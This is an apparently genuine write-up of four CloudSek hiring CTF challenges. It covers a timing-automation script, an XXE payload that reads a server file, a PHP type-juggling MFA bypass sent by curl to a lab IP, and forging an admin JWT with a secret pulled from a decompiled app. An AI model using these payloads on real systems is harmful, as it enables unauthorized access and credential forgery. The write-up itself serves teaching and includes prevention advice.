CTF Hiring CTF - Round 1: Breaking Authentication, Parsing, and Mobile Security
Introduction
Welcome to my comprehensive write-up of the CloudSek Hiring CTF 2025 - Round 1. This challenge series presented four distinct security scenarios that mirror real-world vulnerabilities found in modern web applications and mobile platforms.
Throughout this report, I'll demonstrate how seemingly small misconfigurations and overlooked security principles can lead to complete system compromise. Each challenge taught valuable lessons about:
- Speed-based automation attacks
- XML parsing vulnerabilities
- Type confusion in authentication systems
- Mobile application reverse engineering
💡 Key Takeaway
All activities described in this write-up were conducted in a controlled CTF environment with proper authorization. Never attempt to exploit vulnerabilities in systems you don't own or have explicit permission to test.
Challenge 1: NITRO - The Speed Demon
The Challenge
NITRO was a race against time. The server provided random strings and demanded transformed responses within a razor-thin time window of approximately 150 milliseconds. Any slower and you'd get the dreaded "Too slow" message.
Understanding the Transformation
The challenge required a specific transformation pipeline:
Step 1: Fetch → AbC123xyz
Step 2: Reverse → zyx321CbA
Step 3: Base64 → enl4MzIxQ2JBA==
Step 4: Wrap → CSK__enl4MzIxQ2JBA==__2025
Step 5: Submit → (within 150ms)
The Solution Script
Manual interaction was impossible. I needed automation that could execute the entire pipeline in under 150 milliseconds:
import requests
import base64
import time
def solve_nitro():
base_url = "http://target-server.com"
while True:
try:
start_time = time.time()
# Fetch the random string
task_response = requests.get(f"{base_url}/task", timeout=5)
random_string = task_response.text.strip()
# Transform: Reverse → Base64 → Wrap
reversed_string = random_string[::-1]
encoded = base64.b64encode(reversed_string.encode()).decode()
payload = f"CSK__{encoded}__2025"
# Submit immediately
submit_response = requests.post(
f"{base_url}/submit",
data={"answer": payload},
timeout=5
)
elapsed = (time.time() - start_time) * 1000
print(f"[+] Submitted in {elapsed:.2f}ms")
if "flag" in submit_response.text.lower():
print(f"\n[!] FLAG FOUND: {submit_response.text}")
break
except Exception as e:
print(f"[-] Error: {e}")
time.sleep(1)
✅ Key Takeaways
- Time-based challenges require automation - human reaction time is insufficient
- Network latency matters - every millisecond counts
- Script optimization is crucial for success
Challenge 2: BAD FEEDBACK - XXE in the Wild
Understanding XXE
XML External Entity (XXE) injection is a vulnerability that allows attackers to:
- Read arbitrary files from the server's filesystem
- Perform SSRF attacks to internal services
- Execute denial-of-service attacks
- Exfiltrate data through out-of-band channels
The Exploit Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY x SYSTEM "file:///flag.txt">
]>
<feedback>
<message>&x;</message>
</feedback>
How this works:
<!DOCTYPE foo [...]>- Declares a custom document type definition<!ENTITY x SYSTEM "file:///flag.txt">- Creates an external entity pointing to the flag file<message>&x;</message>- References the entity, forcing the parser to read and expand the file contents- The server returns the file contents in its response
⚠️ Prevention
Always disable external entity processing in XML parsers. Use secure parser configurations and consider using JSON instead, which doesn't suffer from entity expansion issues.
Challenge 3: Triangle - Type Juggling Breaks MFA
The Fatal Flaw
Examining the OTP verification function revealed a critical vulnerability:
function verify_key($secret, $key) {
// CRITICAL VULNERABILITY
if (!is_string($key)) {
return true; // Auto-accept non-strings!
}
// Normal TOTP validation
$google2fa = new Google2FA();
return $google2fa->verifyKey($secret, $key);
}
Understanding the Vulnerability
This is a textbook example of type confusion in PHP:
Vulnerable Flow
$otp = true; // Boolean
is_string($otp) // FALSE
verify_key() // Returns TRUE!
Intended Flow
$otp = "123456"; // String
is_string($otp) // TRUE
verify_key() // TOTP validation
The Exploit
curl -X POST http://15.206.47.5:8080/login \
-H "Content-Type: application/json" \
-d '{
"username": "admin",
"password": "admin123",
"otp1": true,
"otp2": true,
"otp3": true
}'
Result: Complete MFA bypass achieved without generating a single valid OTP!
Challenge 4: Strike Bank - Mobile Security Nightmare
Deep Dive: strings.xml Analysis
The file resources/res/values/strings.xml contained sensitive information:
| Line | Key | Severity |
|---|---|---|
| 33 | base_url | High |
| 91 | encoded_jwt_secret | Critical |
| 105-106 | credentials | High |
Decoding the JWT Secret
$ echo "c3RyIWszYjRua0AxMDA5JXN1cDNyIXMzY3IzNw==" | base64 -d
str!k3b4nk@1009%sup3r!s3cr3t
This is the master signing key for all JWT tokens in the application.
Crafting the Exploit
import jwt
import time
# The extracted secret
secret = "str!k3b4nk@1009%sup3r!s3cr3t"
# Forge an admin token
payload = {
"username": "admin",
"role": "admin",
"exp": int(time.time()) + 3600
}
# Sign with HS256 algorithm
token = jwt.encode(payload, secret, algorithm="HS256")
print(f"Forged JWT: {token}")
🚨 Impact Assessment
- Complete authentication bypass - No valid credentials needed
- Privilege escalation - Instant admin access
- Session hijacking - Can impersonate any user
- Data breach - Full access to internal systems
Flag captured:
ClOuDsEk_ReSeArCH_tEaM_CTF_2025{ccf62117a030691b1ac7013fca4fb685}
Conclusion: Lessons from the Trenches
These four challenges from CloudSek Research Team CTF 2025 provided invaluable insights into real-world vulnerabilities that continue to plague modern applications.
Summary of Vulnerabilities
| Challenge | Vulnerability | Impact |
|---|---|---|
| NITRO | Timing/Automation | Medium |
| BAD FEEDBACK | XXE Injection | Critical |
| Triangle | Type Confusion | Critical |
| Strike Bank | Hardcoded Secrets | Critical |
Universal Security Principles
- Validate Everything - Never trust input, regardless of source
- Fail Securely - When validation fails, reject access
- Defense in Depth - Multiple layers of security provide resilience
- Principle of Least Privilege - Grant minimal permissions necessary
- Security by Design - Consider security from the initial design phase
💭 Remember
A chain is only as strong as its weakest link. Security through obscurity is not security. The best time to fix security issues was at design time; the second-best time is now.